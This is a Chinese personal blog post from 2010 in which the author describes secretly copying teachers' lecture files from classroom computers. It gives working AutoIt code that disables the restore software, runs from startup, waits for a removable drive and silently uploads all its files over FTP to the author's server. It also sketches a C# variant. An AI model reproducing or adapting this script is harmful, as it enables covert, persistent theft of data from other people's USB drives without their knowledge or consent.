悄悄地把课件传上FTP...

2010/03/11 11:34 下午   |   分类:  技术心得   |   131 views

感谢网络中心给每个教室的电脑都接了网。

对于不给拷课件的老师,我们只有做点手脚了。 有网绝对好办。

首先把还原精灵给干了,这个我说过了。

嗯,放个脚本偷偷传,是个好主意。可VB不熟(顶多混个二级过关),C++都不会。那么。。。哈哈~用AutoIt吧~

脚本还没写的很好,不过关键问题解决了。一个是用FTP方式上传,一个是检测可移动设备:

#include <FTPEx.au3>
$server = 'www.njnu.me'
$username = 'xxx'
$password = 'xxx'
$localdir = 'f:'
$remotedir = ''
$ftpopen = _FTP_Open("up")
$ftpconn = _FTP_Connect($ftpopen,$server,$username,$password)
$rt1 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,0)
$rt2 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,1)

这是上传的。最后有2句差不多的,前一个是把目录下的文件上传,后一个是遍历所有子目录上传其中的文件。

While 1
Sleep(300)
$var = DriveGetDrive("REMOVABLE")
For $i = 1 To $var[0]
 If $var[$i] <> "a:" Then
  '这里执行上传代码($var[$i]为驱动器盘符)
  Exit
 EndIf
Next
Sleep(5000)
WEnd

这是检测移动设备的。有时候A盘也会被看作可移动设备,所以要去掉。脚本可以加到开机启动项里,每过大概5分钟检测一次,直到可移动设备出现。

还有一个思路是用C#写个。那个要.net framework(顺便诅咒下XP早点死),装起来有些麻烦,不过没了还原,事先装好也还行。找到个不错的FTP类库。但是是老外弄的,所以遇到中文目录和文件名会报错。折腾了好久,是字符编码的问题。

    private static Encoding ASCII = Encoding.ASCII;
    private static Encoding Unicode = Encoding.Default;

用ASCII就会乱码。试了下子,用Default就OK了,讲不出什么可信的道理来。

FTP能用了,之后只要配合文件操作的内容就能实现了,书上有不错的例子。

喜欢本文,那就收藏到:Del.icio.us Google书签 Digg Live Bookmark Technorati Furl Yahoo书签 Facebook 百度搜藏 新浪ViVi 365Key网摘 天极网摘 和讯网摘 博拉网 POCO网摘 添加到饭否 QQ书签 Digbuzz我挖网

发表你的评论

姓名(必填)

Mail(必填)

网站

评论内容